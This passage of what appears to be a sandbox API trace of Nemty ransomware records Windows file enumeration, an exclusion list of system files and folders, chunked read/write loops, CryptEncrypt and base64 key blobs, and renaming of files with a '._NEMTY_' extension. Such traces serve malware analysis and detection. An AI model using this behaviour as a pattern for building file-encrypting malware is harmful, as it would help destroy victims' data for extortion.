dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.450] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.450] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.450] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.459] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.459] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.460] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.460] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.469] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.469] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.469] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.487] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.487] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.488] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.488] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.497] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340428, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0120.550] CloseHandle (hObject=0xffffffff) returned 0 [0120.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0120.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0120.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0120.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0120.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6344178 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_disabled.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_disabled.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_disabled.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_disabled.png._nemty_kgobjgd_")) returned 0 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340428 | out: hHeap=0x4f90000) returned 1 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0120.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340360 | out: hHeap=0x4f90000) returned 1 [0120.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0120.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.551] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e2fe6c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e2fe6c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b795bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_right_hover.png", cAlternateFileName="")) returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="..") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="...") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="windows") returned -1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="$RECYCLE.BIN") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="rsa") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="NTDETECT.COM") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="ntldr") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="MSDOS.SYS") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="IO.SYS") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="boot.ini") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="boot.ini") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="AUTOEXEC.BAT") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="ntuser.dat") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="desktop.ini") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="CONFIG.SYS") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="RECYCLER") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="BOOTSECT.BAK") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="bootmgr") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="programdata") returned 1 [0120.551] lstrcmpiW (lpString1="settings_right_hover.png", lpString2="appdata") returned 1 [0120.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0120.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_hover.png", lpUsedDefaultChar=0x0) returned 24 [0120.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0120.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0120.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_hover.png", lpUsedDefaultChar=0x0) returned 24 [0120.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0120.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0120.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_hover.png", lpUsedDefaultChar=0x0) returned 24 [0120.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0120.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0120.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_hover.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_hover.png", lpUsedDefaultChar=0x0) returned 24 [0120.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0120.552] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0120.552] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0120.552] Sleep (dwMilliseconds=0x5) [0120.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb80c6b0, dwHighDateTime=0x1d561e7)) [0120.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb80c6b0, dwHighDateTime=0x1d561e7)) [0120.555] GetLastError () returned 0x5 [0120.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.555] GetLastError () returned 0x5 [0120.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0120.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0120.555] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0120.555] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0120.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0120.555] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="dtazHQfwa991Zk6pXxgvnm0iLcgY+e+jlq6mjI4pVA2HCycSm8o+8ILZmDbcLvt/\r\njXnNL/02szpMMp7Fb6iaFZ/Y5tItYsth4Ky37H+ASoDNzN5HPlJQcHsqtHDcIgD2\r\nUcDKoc9g6yzqSAXnLKlZ5G5uX0NXsntWyDWDdfRg9DZBM0+xHDDvzedkpIxTcSQv\r\nJ634An7rLMTNZE7hTK2IaWEGO4pUILiTN2jeNow8vbWzMvhnI6c74ioaKoRGRVJn\r\n1BT2fQ//lP8doLjYu7ib8jZFhhM3WTbZ/E/e/R/iKBjKZJLBbGb7gEShEYn6H2lH\r\nqtcnn4Gl5sjxm9q2fu+8lg==\r\n", pcchString=0x653e91c) returned 1 [0120.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0120.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.555] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0120.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0120.555] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0120.555] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_hover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.556] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0120.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0120.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, 